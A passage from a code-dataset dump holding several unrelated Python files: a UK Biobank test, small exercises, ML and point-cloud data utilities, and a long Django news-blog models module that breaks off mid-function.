meta_data_path = \"/ocean/projects/asc170022p/shared/Data/ukBiobank/meta_data_files/\"\n summary_stats_object = module_get_fs_summary_stats.summary_stats_fs()\n df_from_api = summary_stats_object.get_freesurfer_summary_stats()\n\n generated_df = pd.read_csv(meta_data_path+\"ukb_basic_demographics_and_summary_stats.csv\")\n\n assert ((generated_df.shape == df_from_api.shape) and\n (generated_df['lh_bankssts_thickness'].mean() == df_from_api['lh_bankssts_thickness'].mean()) and\n (generated_df['TotalGrayVol'].mean() == df_from_api['TotalGrayVol'].mean())\n )\n \n","repo_name":"batmanlab/ukb_api","sub_path":"pytest/test_pipeline1_module_fs_summary_stats.py","file_name":"test_pipeline1_module_fs_summary_stats.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"4363851808","text":"# coding:utf-8\n\nraw = \"Hi He Lied Because Boron Could Not Oxidize Fluorine. New Nations Might Also Sign Peace Security Clause. Arthur King Can.\"\ntxt = raw.replace('.', '')\n\nex_list = [1, 5, 6, 7, 8, 9, 15, 16, 19]\nout_dict = {}\n\nfor i, word in enumerate(txt.split(),1):\n if i in ex_list:\n out_dict[word[:1]] = i\n else:\n out_dict[word[:2]] = i\n\nprint(out_dict)\n","repo_name":"fuchami/nlp100knock","sub_path":"ch1/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"27583520147","text":"\nfrom __future__ import division\nfrom scipy.sparse import coo_matrix\nimport numpy as np\nimport sys\nimport util.readdata as read\n\n\ndef graph_to_matrix(graph):\n '''\n Args:\n graph: user item graph\n Retrun:\n a coo_matrix, sparse matrix m\n a list, total user item point\n a dict, map all the point to row index\n '''\n\n vertex = list(graph.keys())\n address_dict = {}\n total_len = len(vertex)\n for idx in range(total_len):\n address_dict[vertex[idx]] = idx\n\n row = []\n col = []\n data = []\n for element_i in graph:\n weight = round(1/len(graph[element_i]),3)\n row_index = address_dict[element_i]\n for element_j in graph[element_i]:\n col_index = address_dict[element_j]\n row.append(row_index)\n col.append(col_index)\n data.append(weight)\n\n row = np.array(row)\n col = np.array(col)\n data = np.array(data)\n\n matrix = coo_matrix((data,(row,col)), shape = (total_len,total_len))\n return matrix, vertex, address_dict\n\n\ndef get_matrix_all_point(matrix, vertex, alpha):\n '''\n Args:\n matrix:\n vertex: total user and item point\n alpha: the prob for random walk\n Return:\n a sparse matrix\n '''\n total_len = len(vertex)\n row = []\n col = []\n data = []\n #print(total_len)\n for index in range(total_len):\n row.append(index)\n col.append(index)\n data.append(1)\n\n row = np.array(row)\n col = np.array(col)\n data = np.array(data)\n\n eye_t = coo_matrix((data,(row,col)), shape = (total_len,total_len))\n\n return eye_t.tocsr() - alpha * matrix.tocsr().transpose()\n\n\n\nif __name__ == '__main__':\n graph = read.get_graph_from_data('../data/log.txt')\n m, vertex, address_dict = graph_to_matrix(graph)\n #print(address_dict)\n #print(m.todense())\n #print(vertex)\n\n print(get_matrix_all_point(m, vertex, 0.8).todense())","repo_name":"GitHub-00/PR-learning","sub_path":"util/matrixutil.py","file_name":"matrixutil.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5237913506","text":"import pickle\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport string\n\n\nclass Feature:\n\tversion = string\n\tfeature = pd.DataFrame\n\tname = string\n\n\tdef __init__(self, name, feature, version):\n\t\tself.name = name\n\t\tself.version = version\n\t\tself.feature = feature\n\n\ndef build_dataframe(features):\n\tdf = pd.DataFrame()\n\tfor f in features:\n\t\tdf[f.name] = f.feature\n\treturn df\n\n\ndef timer(start_time=None):\n\tif not start_time:\n\t\tstart_time = datetime.now()\n\t\treturn start_time\n\telif start_time:\n\t\tthour, temp_sec = divmod((datetime.now() - start_time).total_seconds(), 3600)\n\t\ttmin, tsec = divmod(temp_sec, 60)\n\t\tprint('Time taken: %i hours %i minutes and %s seconds.' % (thour, tmin, round(tsec, 2)))\n\n\ndef create_target_dir(target_dir):\n from pathlib import Path \n Path(target_dir).mkdir(parents=True, exist_ok=True)\n\n\ndef save_prediction(y_predicted, y_target, model_name, target_dir):\n print('Saving predictions')\t\n submit = pd.DataFrame({'prediction': y_predicted, 'target': y_target})\n submit.to_csv(f'{target_dir}/submit-'+model_name+'.csv', index=False)\n\n\ndef save_pickle(model, model_name, target_dir):\n print('Saving model as pickle')\t\n with open(f'{target_dir}/{model_name}_pickle.pkl','wb') as f:\n\t pickle.dump(model, f)\n\n\ndef save_metrics(y_test, y_test_pred, metric_list, target_dir):\n print('Saving metrics')\t\n with open(f'{target_dir}/metrics.txt', 'a') as out:\n for metric_function, metric_name in metric_list:\n try:\n metric_value = metric_function(y_test, y_test_pred)\n metric_log = f\"{metric_name}: {metric_value}\"\n out.write(f\"{metric_log}\\n\")\n print(f\" {metric_log}\")\n except Exception as exc:\n print(f'there were an error saving metric {metric_name}. exception: {exc}')\n\n\ndef save_features(features, target_dir):\n print('Saving features')\t\n with open(f'{target_dir}/features.txt', 'a') as out:\n for f in features:\n out.write(f\"feature name: {f.name}, version: {f.version}\" + '\\n')\n \n\ndef save_experiment(model_name, model, features, y_test_predicted, y_test_target, metrics):\n\n timestamp = datetime.now()\n\n LOCAL_PATH = 'predictions/experiments'\n ROOT_PATH = LOCAL_PATH\n target_dir = f'{ROOT_PATH}/{model_name}/{timestamp}/'\n print(f'\\nSaving experiment into {target_dir}')\t\n create_target_dir(target_dir)\n save_prediction(y_test_predicted, y_test_target, model_name, target_dir)\n save_features(features, target_dir)\n save_pickle(model, model_name, target_dir)\n save_metrics(y_test_target, y_test_predicted, metrics, target_dir)\n print('Done.')","repo_name":"nbuzzano/eci-hopp","sub_path":"models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15964371","text":"import numpy as np\nimport open3d as o3d\n\nclass DataLoader():\n # prepare to give prediction on each points\n def __init__(self, block_points=4096, stride=0.5, block_size=1.0, padding=0.001):\n self.block_points = block_points\n self.block_size = block_size\n self.padding = padding\n self.stride = stride\n self.scene_points_num = []\n self.scene_points_list = []\n self.semantic_labels_list = []\n \n path = '/content/drive/Shareddrives/CHSEG/data/church_registered_updated.ply'\n pcd = o3d.io.read_point_cloud(path)\n data = np.hstack((np.asarray(pcd.points), np.asarray(pcd.colors)))\n print(data)\n\n points = data[:, :3]\n print(points)\n self.scene_points_list.append(data[:, :6])\n self.semantic_labels_list.append(data[:, :6])\n coord_min, coord_max = np.amin(points, axis=0)[:3], np.amax(points, axis=0)[:3]\n assert len(self.scene_points_list) == len(self.semantic_labels_list)\n\n def __getitem__(self, index):\n point_set_ini = self.scene_points_list[index]\n points = point_set_ini[:,:6]\n coord_min, coord_max = np.amin(points, axis=0)[:3], np.amax(points, axis=0)[:3]\n grid_x = int(np.ceil(float(coord_max[0] - coord_min[0] - self.block_size) / self.stride) + 1)\n grid_y = int(np.ceil(float(coord_max[1] - coord_min[1] - self.block_size) / self.stride) + 1)\n data_room = np.array([])\n print(\"grid_x:\", grid_x, \", grid_y:\", grid_y)\n for index_y in range(0, grid_y):\n print(\"index_y:\", index_y)\n for index_x in range(0, grid_x):\n s_x = coord_min[0] + index_x * self.stride\n e_x = min(s_x + self.block_size, coord_max[0])\n s_x = e_x - self.block_size\n s_y = coord_min[1] + index_y * self.stride\n e_y = min(s_y + self.block_size, coord_max[1])\n s_y = e_y - self.block_size\n point_idxs = np.where(\n (points[:, 0] >= s_x - self.padding) & (points[:, 0] <= e_x + self.padding) & (points[:, 1] >= s_y - self.padding) & (\n points[:, 1] <= e_y + self.padding))[0]\n if point_idxs.size == 0:\n continue\n num_batch = int(np.ceil(point_idxs.size / self.block_points))\n point_size = int(num_batch * self.block_points)\n replace = False if (point_size - point_idxs.size <= point_idxs.size) else True\n point_idxs_repeat = np.random.choice(point_idxs, point_size - point_idxs.size, replace=replace)\n point_idxs = np.concatenate((point_idxs, point_idxs_repeat))\n np.random.shuffle(point_idxs)\n data_batch = points[point_idxs, :]\n normlized_xyz = np.zeros((point_size, 3)) #X,Y,Z VALUES CENTERED ON THE ORIGIN\n # normlized_xyz[:, 0] = data_batch[:, 0] / coord_max[0] #wont look like what you expecting it to\n # normlized_xyz[:, 1] = data_batch[:, 1] / coord_max[1] #divides coordinates by maximums - squash into a square \n # normlized_xyz[:, 2] = data_batch[:, 2] / coord_max[2]\n # data_batch[:, 0] = data_batch[:, 0] - (s_x + self.block_size / 2.0)\n # data_batch[:, 1] = data_batch[:, 1] - (s_y + self.block_size / 2.0)\n data_batch = np.concatenate((data_batch, normlized_xyz), axis=1) \n data_room = np.vstack([data_room, data_batch]) if data_room.size else data_batch #normalized - if just take point indexes - also return orginal points - FIRST THREE COLUMNS OF DATA BATCH BEFORE NORMALIZED \n data_room = data_room.reshape((-1, self.block_points, data_room.shape[1]))\n return data_room \n\n def __len__(self):\n return len(self.scene_points_list)\n","repo_name":"jazzamazza/CHSEG","sub_path":"PointNet++/PointNet_DataLoader.py","file_name":"PointNet_DataLoader.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15066802109","text":"O, E = input(), input()\r\n\r\nans = ''\r\nif len(O) == len(E):\r\n for i in range(len(O)):\r\n ans += O[i]\r\n ans += E[i]\r\nelif len(O) - len(E) == 1:\r\n for i in range(len(E)):\r\n ans += O[i]\r\n ans += E[i]\r\n else:\r\n ans+=O[-1]\r\n \r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc058/B/4891376.py","file_name":"4891376.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"17504837881","text":"import django.core.validators\nfrom django.conf import settings\nfrom django.utils.text import slugify\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.db import connection, models\nfrom django.db.models import ManyToManyField, Count, Q\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.urls import reverse\nfrom django.utils.encoding import force_text\nfrom django.utils.timezone import now\nfrom django.utils.translation import override, ugettext\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.exceptions import ValidationError\nfrom django.utils.html import escape\n\nfrom cms.models.fields import PlaceholderField\nfrom cms.models.pluginmodel import CMSPlugin\nfrom cms.utils.i18n import get_current_language, get_redirect_on_fallback\n\nfrom aldryn_apphooks_config.fields import AppHookConfigField\nfrom aldryn_people.models import Person\nfrom aldryn_translation_tools.models import (\n TranslatedAutoSlugifyMixin, TranslationHelperMixin,\n)\nfrom djangocms_text_ckeditor.fields import HTMLField\nfrom filer.fields.image import FilerImageField\nfrom parler.models import TranslatableModel, TranslatedFields\nfrom sortedm2m.fields import SortedManyToManyField\nfrom taggit.managers import TaggableManager\nfrom taggit.models import Tag\n\nfrom aldryn_newsblog.compat import toolbar_edit_mode_active\nfrom aldryn_newsblog.utils.utilities import get_valid_languages_from_request\n\nfrom .categoreis import Category\nfrom aldryn_newsblog.cms_appconfig import NewsBlogConfig\nfrom aldryn_newsblog.managers import RelatedManager\nfrom aldryn_newsblog.utils import get_plugin_index_data, get_request, strip_tags\nfrom aldryn_newsblog.utils.utilities import get_person_by_user_model_instance\n\nif settings.LANGUAGES:\n LANGUAGE_CODES = [language[0] for language in settings.LANGUAGES]\nelif settings.LANGUAGE:\n LANGUAGE_CODES = [settings.LANGUAGE]\nelse:\n raise ImproperlyConfigured(\n 'Neither LANGUAGES nor LANGUAGE was found in settings.')\n\n\n# At startup time, SQL_NOW_FUNC will contain the database-appropriate SQL to\n# obtain the CURRENT_TIMESTAMP.\nSQL_NOW_FUNC = {\n 'mssql': 'GetDate()', 'mysql': 'NOW()', 'postgresql': 'now()',\n 'sqlite': 'CURRENT_TIMESTAMP', 'oracle': 'CURRENT_TIMESTAMP'\n}[connection.vendor]\n\nSQL_IS_TRUE = {\n 'mssql': '== TRUE', 'mysql': '= 1', 'postgresql': 'IS TRUE',\n 'sqlite': '== 1', 'oracle': 'IS TRUE'\n}[connection.vendor]\n\n\nclass Article(TranslatedAutoSlugifyMixin,\n TranslationHelperMixin,\n TranslatableModel):\n\n # TranslatedAutoSlugifyMixin options\n slug_source_field_name = 'title'\n slug_default = _('untitled-article')\n # when True, updates the article's search_data field\n # whenever the article is saved or a plugin is saved\n # on the article's content placeholder.\n update_search_on_save = getattr(\n settings,\n 'ALDRYN_NEWSBLOG_UPDATE_SEARCH_DATA_ON_SAVE',\n False\n )\n\n translations = TranslatedFields(\n title=models.CharField(_('title'), max_length=234),\n slug=models.SlugField(\n verbose_name=_('slug'),\n max_length=255,\n db_index=True,\n blank=True,\n help_text=_(\n 'Used in the URL. If changed, the URL will change. '\n 'Clear it to have it re-created automatically.'),\n ),\n lead_in=HTMLField(\n verbose_name=_('lead'), default='',\n help_text=_(\n 'The lead gives the reader the main idea of the story, this '\n 'is useful in overviews, lists or as an introduction to your '\n 'article.'\n ),\n blank=True,\n ),\n meta_title=models.CharField(\n max_length=255, verbose_name=_('meta title'),\n blank=True, default=''),\n meta_description=models.TextField(\n verbose_name=_('meta description'), blank=True, default=''),\n meta_keywords=models.TextField(\n verbose_name=_('meta keywords'), blank=True, default=''),\n meta={'unique_together': (('language_code', 'slug', ), )},\n\n search_data=models.TextField(blank=True, editable=False)\n )\n\n content = PlaceholderField('newsblog_article_content',\n related_name='newsblog_article_content')\n author = models.ForeignKey(\n Person,\n null=True,\n blank=True,\n verbose_name='Author (Django CMS User)',\n on_delete=models.SET_NULL,\n help_text=_(\"Only used if AUTHOR is not set.\")\n )\n author_override = models.ForeignKey(\n 'Author',\n null=True,\n blank=True,\n verbose_name=_('author'),\n on_delete=models.SET_NULL,\n )\n app_config = AppHookConfigField(\n NewsBlogConfig,\n verbose_name=_('Section'),\n help_text='',\n )\n\n categories = ManyToManyField('aldryn_newsblog.Category',\n verbose_name=_('categories'),\n blank=True)\n\n publishing_date = models.DateTimeField(_('publishing date'),\n default=now)\n is_published = models.BooleanField(_('is published'), default=False,\n db_index=True)\n is_featured = models.BooleanField(_('is featured'), default=False,\n db_index=True)\n featured_image = FilerImageField(\n verbose_name=_('featured image'),\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n )\n tags = TaggableManager(blank=True)\n\n # Setting \"symmetrical\" to False since it's a bit unexpected that if you\n # set \"B relates to A\" you immediately have also \"A relates to B\". It have\n # to be forced to False because by default it's True if rel.to is \"self\":\n #\n # https://github.com/django/django/blob/1.8.4/django/db/models/fields/related.py#L2144\n #\n # which in the end causes to add reversed releted-to entry as well:\n #\n # https://github.com/django/django/blob/1.8.4/django/db/models/fields/related.py#L977\n related = SortedManyToManyField(\n 'self', verbose_name=_('related articles'), blank=True, symmetrical=False\n )\n\n article_tags = ManyToManyField(\n 'ArticleTag', verbose_name=_('tags'), blank=True\n )\n\n objects = RelatedManager()\n\n class Meta:\n ordering = ['-publishing_date']\n\n @property\n def owner(self):\n return self.author.user\n\n @owner.setter\n def owner(self, user):\n person = get_person_by_user_model_instance(user)\n self.author = person\n self.save()\n\n @property\n def published(self):\n \"\"\"\n Returns True only if the article (is_published == True) AND has a\n published_date that has passed.\n \"\"\"\n return self.is_published and self.publishing_date <= now()\n\n @property\n def future(self):\n \"\"\"\n Returns True if the article is published but is scheduled for a\n future date/time.\n \"\"\"\n return self.is_published and self.publishing_date > now()\n\n def get_absolute_url(self, language=None):\n \"\"\"Returns the url for this Article in the selected permalink format.\"\"\"\n if not language:\n language = get_current_language()\n kwargs = {}\n permalink_type = self.app_config.permalink_type\n if 'y' in permalink_type:\n kwargs.update(year=self.publishing_date.year)\n if 'm' in permalink_type:\n kwargs.update(month=\"%02d\" % self.publishing_date.month)\n if 'd' in permalink_type:\n kwargs.update(day=\"%02d\" % self.publishing_date.day)\n if 'i' in permalink_type:\n kwargs.update(pk=self.pk)\n if 's' in permalink_type:\n slug, lang = self.known_translation_getter(\n 'slug', default=None, language_code=language)\n if slug and lang:\n site_id = getattr(settings, 'SITE_ID', None)\n if get_redirect_on_fallback(language, site_id):\n language = lang\n kwargs.update(slug=slug)\n\n if self.app_config and self.app_config.namespace:\n namespace = '{0}:'.format(self.app_config.namespace)\n else:\n namespace = ''\n\n with override(language):\n return reverse('{0}article-detail'.format(namespace), kwargs=kwargs)\n\n def get_search_data(self, language=None, request=None):\n \"\"\"\n Provides an index for use with Haystack, or, for populating\n Article.translations.search_data.\n \"\"\"\n if not self.pk:\n return ''\n if language is None:\n language = get_current_language()\n if request is None:\n request = get_request(language=language)\n description = self.safe_translation_getter('lead_in', '')\n text_bits = [strip_tags(description)]\n for category in self.categories.all():\n text_bits.append(\n force_text(category.safe_translation_getter('name')))\n for tag in self.article_tags.all():\n text_bits.append(force_text(tag.name))\n if self.content:\n plugins = self.content.cmsplugin_set.filter(language=language)\n for base_plugin in plugins:\n plugin_text_content = ' '.join(\n get_plugin_index_data(base_plugin, request))\n text_bits.append(plugin_text_content)\n return ' '.join(text_bits)\n\n def save(self, *args, **kwargs):\n # Update the search index\n if self.update_search_on_save:\n self.search_data = self.get_search_data()\n\n # slug would be generated by TranslatedAutoSlugifyMixin\n super(Article, self).save(*args, **kwargs)\n\n def __str__(self):\n try:\n return self.safe_translation_getter('title', any_language=True)\n except ValueError:\n default_language = settings.LANGUAGE_CODE\n return self.safe_translation_getter('title', language_code=default_language, any_language=True)\n\n def get_author(self):\n return self.author_override or self.author\n\n def clean(self):\n if not self.author_override and not self.author:\n raise ValidationError(\n _(\"You must specify either AUTHOR or AUTHOR (DJANGO CMS USER).\"),\n code='missing'\n )\n\n def add_tag(self, tag_slug, tag_name=None):\n cleaned_slug = slugify(tag_slug)\n if not cleaned_slug in self.article_tags.all().values_list('translations__slug', flat=True):\n article_tag = ArticleTag.objects.get_or_create(\n translations__slug=cleaned_slug,\n newsblog_config=self.app_config,\n defaults={\n 'slug': cleaned_slug,\n 'name': tag_name or tag_slug,\n 'newsblog_config': self.app_config,\n }\n )[0]\n self.article_tags.add(article_tag)\n\n def add_tags(self, tags):\n for tag in tags:\n self.add_tag(tag)\n\n\nclass Author(models.Model):\n name = models.CharField(max_length=255)\n slug = models.SlugField(\n verbose_name=_('slug'),\n max_length=255,\n db_index=True,\n blank=True,\n help_text=_(\n 'Used in the URL. If changed, the URL will change. '\n 'Clear it to have it re-created automatically.'),\n )\n function = models.CharField(max_length=255, blank=True, default='')\n visual = FilerImageField(\n null=True,\n blank=True,\n default=None,\n on_delete=models.SET_NULL,\n related_name='author_override'\n )\n app_config = models.ForeignKey(\n NewsBlogConfig,\n verbose_name=_('Apphook configuration'),\n on_delete=models.CASCADE,\n )\n\n class Meta:\n unique_together = [\n ['slug', 'app_config']\n ]\n\n def __str__(self) -> str:\n return self.name\n\n\nclass ArticleTag(TranslatedAutoSlugifyMixin, TranslationHelperMixin, TranslatableModel):\n slug_source_field_name = 'name'\n\n translations = TranslatedFields(\n name=models.CharField(\n _('name'),\n blank=False,\n default='',\n max_length=255,\n ),\n slug=models.SlugField(\n _('slug'),\n blank=True,\n default='',\n help_text=_('Provide a “slug” or leave blank for an automatically '\n 'generated one.'),\n max_length=255,\n ),\n meta={'unique_together': (('language_code', 'slug', ), )}\n )\n\n newsblog_config = models.ForeignKey(NewsBlogConfig, on_delete=models.PROTECT)\n\n class Meta:\n verbose_name = _('tag')\n verbose_name_plural = _('tags')\n\n def delete(self, **kwargs):\n # INFO: There currently is a bug in parler where it will pass along\n # 'using' as a positional argument, which does not work in\n # Djangos implementation. So we skip it.\n self.__class__.objects.filter(pk=self.pk).delete(**kwargs)\n from parler.cache import _delete_cached_translations\n _delete_cached_translations(self)\n models.Model.delete(self, **kwargs)\n\n def __str__(self):\n name = self.safe_translation_getter('name', any_language=True)\n return escape(name)\n\n\nclass PluginEditModeMixin(object):\n def get_edit_mode(self, request):\n \"\"\"\n Returns True only if an operator is logged-into the CMS and is in\n edit mode.\n \"\"\"\n return (\n hasattr(request, 'toolbar') and request.toolbar and # noqa: W504\n toolbar_edit_mode_active(request)\n )\n\n\nclass AdjustableCacheModelMixin(models.Model):\n # NOTE: This field shouldn't even be displayed in the plugin's change form\n # if using django CMS < 3.3.0\n cache_duration = models.PositiveSmallIntegerField(\n default=0, # not the most sensible, but consistent with older versions\n blank=False,\n help_text=_(\n \"The maximum duration (in seconds) that this plugin's content \"\n \"should be cached.\")\n )\n\n class Meta:\n abstract = True\n\n\nclass NewsBlogCMSPlugin(CMSPlugin):\n \"\"\"AppHookConfig aware abstract CMSPlugin class for Aldryn Newsblog\"\"\"\n # avoid reverse relation name clashes by not adding a related_name\n # to the parent plugin\n cmsplugin_ptr = models.OneToOneField(\n CMSPlugin,\n related_name='+',\n parent_link=True,\n on_delete=models.CASCADE,\n )\n\n app_config = models.ForeignKey(\n NewsBlogConfig,\n verbose_name=_('Apphook configuration'),\n on_delete=models.CASCADE,\n )\n\n class Meta:\n abstract = True\n\n def copy_relations(self, old_instance):\n self.app_config = old_instance.app_config\n\n\nclass NewsBlogArchivePlugin(PluginEditModeMixin, AdjustableCacheModelMixin,\n NewsBlogCMSPlugin):\n # NOTE: the PluginEditModeMixin is eventually used in the cmsplugin, not\n # here in the model.\n def __str__(self):\n return ugettext('%s archive') % (self.app_config.get_app_title(), )\n\n\nclass NewsBlogArticleSearchPlugin(NewsBlogCMSPlugin):\n max_articles = models.PositiveIntegerField(\n _('max articles'), default=10,\n validators=[django.core.validators.MinValueValidator(1)],\n help_text=_('The maximum number of found articles display.')\n )\n\n def __str__(self):\n return ugettext('%s archive') % (self.app_config.get_app_title(), )\n\n\nclass NewsBlogAuthorsPlugin(PluginEditModeMixin, NewsBlogCMSPlugin):\n def get_authors(self, request):\n \"\"\"\n Returns a list of authors (people who have published an article),\n annotated by the number of articles (article_count) that are visible to\n the current user. If this user is anonymous, then this will be all\n articles that are published and whose publishing_date has passed. If the\n user is a logged-in cms operator, then it will be all articles.\n \"\"\"\n\n aldryn_authors = self.get_aldryn_authors(request)\n author_overrides = self.get_author_overrides(request)\n combined_authors = self.combine_authors_without_duplicates(\n aldryn_authors, author_overrides\n )\n return sorted(\n combined_authors, key=lambda x: x.article_count, reverse=True\n )\n\n def get_aldryn_authors(self, request):\n # The basic subquery (for logged-in content managers in edit mode)\n subquery = \"\"\"\n SELECT COUNT(*)\n FROM aldryn_newsblog_article\n WHERE\n aldryn_newsblog_article.author_id =\n aldryn_people_person.id AND\n aldryn_newsblog_article.author_override_id IS NULL AND\n aldryn_newsblog_article.app_config_id = %d\"\"\"\n\n # For other users, limit subquery to published articles\n user_can_edit = request.user.is_staff or request.user.is_superuser\n if not self.get_edit_mode(request) and not user_can_edit:\n subquery += \"\"\" AND\n aldryn_newsblog_article.is_published %s AND\n aldryn_newsblog_article.publishing_date <= %s\n \"\"\" % (SQL_IS_TRUE, SQL_NOW_FUNC, )\n\n # Now, use this subquery in the construction of the main query.\n query = \"\"\"\n SELECT (%s) as article_count, aldryn_people_person.*\n FROM aldryn_people_person\n \"\"\" % (subquery % (self.app_config.pk, ), )\n\n raw_authors = list(Person.objects.raw(query))\n authors = [author for author in raw_authors if author.article_count]\n return authors\n\n def get_author_overrides(self, request) -> list:\n user_can_edit = request.user.is_staff or request.user.is_superuser\n if self.get_edit_mode(request) or user_can_edit:\n authors_qs = Author.objects.all()\n else:\n authors_qs = Author.objects.filter(\n article__is_published=True,\n article__publishing_date__lte=now()\n )\n authors_qs = authors_qs.annotate(article_count=Count('article')).filter(\n article_count__gt=0, app_config=self.app_config\n )\n return list(authors_qs)\n\n @staticmethod\n def combine_authors_without_duplicates(aldryn_authors, author_overrides):\n authors_combined_dict = {\n author.slug: author for author in author_overrides\n }\n for aldryn_author in aldryn_authors:\n if not aldryn_author.slug in authors_combined_dict:\n authors_combined_dict[aldryn_author.slug] = aldryn_author\n else:\n authors_combined_dict[\n aldryn_author.slug\n ].article_count += aldryn_author.article_count\n return list(authors_combined_dict.values())\n\n def __str__(self):\n return ugettext('%s authors') % (self.app_config.get_app_title(), )\n\n\nclass NewsBlogCategoriesPlugin(PluginEditModeMixin, NewsBlogCMSPlugin):\n def __str__(self):\n return ugettext('%s categories') % (self.app_config.get_app_title(), )\n\n def get_categories(self, request):\n \"\"\"\n Returns a list of categories, annotated by the number of articles\n (article_count) that are visible to the current user. If this user is\n anonymous, then this will be all articles that are published and whose\n publishing_date has passed. If the user is a logged-in cms operator,\n then it will be all articles.\n \"\"\"\n\n subquery = \"\"\"\n SELECT COUNT(*)\n FROM aldryn_newsblog_article, aldryn_newsblog_article_categories\n WHERE\n aldryn_newsblog_article_categories.category_id =\n aldryn_newsblog_category.id AND\n aldryn_newsblog_article_categories.article_id =\n aldryn_newsblog_article.id AND\n aldryn_newsblog_article.app_config_id = %d\n \"\"\" % (self.app_config.pk, )\n\n if not self.get_edit_mode(request):\n subquery += \"\"\" AND\n aldryn_newsblog_article.is_published %s AND\n aldryn_newsblog_article.publishing_date <= %s\n \"\"\" % (SQL_IS_TRUE, SQL_NOW_FUNC, )\n\n query = \"\"\"\n SELECT (%s) as article_count, aldryn_newsblog_category.*\n FROM aldryn_newsblog_category\n \"\"\" % (subquery, )\n\n raw_categories = list(Category.objects.raw(query))\n categories = [\n category for category in raw_categories if category.article_count]\n return sorted(categories, key=lambda x: x.article_count, reverse=True)\n\n\nclass NewsBlogFeaturedArticlesPlugin(PluginEditModeMixin, NewsBlogCMSPlugin):\n article_count = models.PositiveIntegerField(\n default=1,\n validators=[django.core.validators.MinValueValidator(1)],\n help_text=_('The maximum number of featured articles display.')\n )\n\n def get_articles(self, request):\n if not self.article_count:\n return Article.objects.none()\n queryset = Article.objects\n if not self.get_edit_mode(request):\n queryset = queryset.published()\n languages = get_valid_languages_from_request(\n self.app_config.namespace, request)\n if self.language not in languages:\n return queryset.none()\n queryset = queryset.translated(*languages).filter(\n app_config=self.app_config,\n is_featured=True)\n return queryset[:self.article_count]\n\n def __str__(self):\n if not self.pk:\n return 'featured articles'\n prefix = self.app_config.get_app_title()\n if self.article_count == 1:\n title = ugettext('featured article')\n else:\n title = ugettext('featured articles: %(count)s') % {\n 'count': self.article_count,\n }\n return '{0} {1}'.format(prefix, title)\n\n\nclass NewsBlogLatestArticlesPlugin(PluginEditModeMixin,\n AdjustableCacheModelMixin,\n NewsBlogCMSPlugin):\n latest_articles = models.IntegerField(\n default=5,\n help_text=_('The maximum number of latest articles to display.')\n )\n exclude_featured = models.PositiveSmallIntegerField(\n default=0,\n blank=True,\n help_text=_(\n 'The maximum number of featured articles to exclude from display. '\n 'E.g. for uses in combination with featured articles plugin.')\n )\n\n def get_articles(self, request):\n \"\"\"\n Returns a queryset of the latest N articles. N is the plugin setting:\n latest_articles.\n \"\"\"\n queryset = Article.objects\n featured_qs = Article.objects.all().filter(is_featured=True)\n if not self.get_edit_mode(request):\n queryset = queryset.published()\n featured_qs = featured_qs.published()\n languages = get_valid_languages_from_request(\n self.app_config.namespace, request)\n if self.language not in languages:\n return queryset.none()\n queryset = queryset.translated(*languages).filter(\n app_config=self.app_config)\n featured_qs = featured_qs.translated(*languages).filter(\n app_config=self.app_config)\n exclude_featured = list(featured_qs.values_list(\n 'pk', flat=True))[:self.exclude_featured]\n queryset = queryset.exclude(pk__in=list(exclude_featured))\n return queryset[:self.latest_articles]\n\n def __str__(self):\n return ugettext('%(app_title)s latest articles: %(latest_articles)s') % {\n 'app_title': self.app_config.get_app_title(),\n 'latest_articles': self.latest_articles,\n }\n\n\nclass NewsBlogRelatedPlugin(PluginEditModeMixin, AdjustableCacheModelMixin,\n CMSPlugin):\n # NOTE: This one does NOT subclass NewsBlogCMSPlugin. This is because this\n # plugin can really only be placed on the article detail view in an apphook.\n cmsplugin_ptr = models.OneToOneField(\n CMSPlugin,\n related_name='+',\n parent_link=True,\n on_delete=models.CASCADE,\n )\n\n def get_articles(self, article, request):\n \"\"\"\n Returns a queryset of articles that are related to the given article.\n \"\"\"\n languages = get_valid_languages_from_request(\n article.app_config.namespace, request)\n if self.language not in languages:\n return Article.objects.none()\n qs = article.related.translated(*languages)\n if not self.get_edit_mode(request):\n qs = qs.published()\n return qs\n\n def __str__(self):\n return ugettext('Related articles')\n\n\nclass NewsBlogTagsPlugin(PluginEditModeMixin, NewsBlogCMSPlugin):\n\n def get_tags(self, request):\n \"\"\"\n Returns a queryset of tags, annotated by the number of articles\n (article_count) that are visible to the current user. If this user is\n anonymous, then this will be all articles that are published and whose\n publishing_date has passed. If the user is a logged-in cms operator,\n then it will be all articles.\n \"\"\"\n\n return ArticleTag.objects.annotate(\n article_count=Count(\n 'article', filter=self.get_article_filter(request)\n )\n ).filter(\n newsblog_config_id=self.app_config.pk, article_count__gt=0\n ).order_by('-article_count')\n\n def get_article_filter(self, request):\n if not self.get_edit_mode(request):\n article_filter = Q(\n article__is_published=True, article__publishing_date__lte=now()\n )\n else:\n article_filter = Q()\n return article_filter\n\n def __str__(self):\n return ugettext('%s tags') % (self.app_config.get_app_title(), )\n\n\n@receiver(post_save, dispatch_uid='article_update_search_data')\ndef update_search_data(sender, instance, **kwargs):\n \"\"\"\n Upon detecting changes in a plugin used in an Article's content\n (PlaceholderField), update the article's search_index so that we can\n perform simple searches even without Haystack, etc.\n \"\"\"\n is_cms_plugin = issubclass(instance.__class__, CMSPlugin)\n\n if Article.update_search_on_save and is_cms_plugin:\n placeholder = (getattr(instance, 